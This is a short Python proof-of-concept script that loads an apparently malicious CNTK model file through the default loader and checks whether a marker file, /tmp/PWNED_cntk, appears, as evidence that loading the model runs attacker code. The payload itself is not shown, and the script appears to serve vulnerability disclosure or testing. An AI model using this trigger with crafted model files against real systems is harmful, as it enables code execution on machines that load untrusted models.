# Load an untrusted CNTK model the normal way. No safe flag. We do not import any # attacker module. Watch /tmp/PWNED_cntk appear -> the model executed code on load. import os, cntk as C m = "model_inject_linux.cntk" print("marker before:", os.path.exists("/tmp/PWNED_cntk")) try: C.Function.load(m) # default load path except Exception as e: print("(loader raised after exec, cosmetic):", type(e).__name__) print("marker after :", os.path.exists("/tmp/PWNED_cntk")) if os.path.exists("/tmp/PWNED_cntk"): print(open("/tmp/PWNED_cntk").read())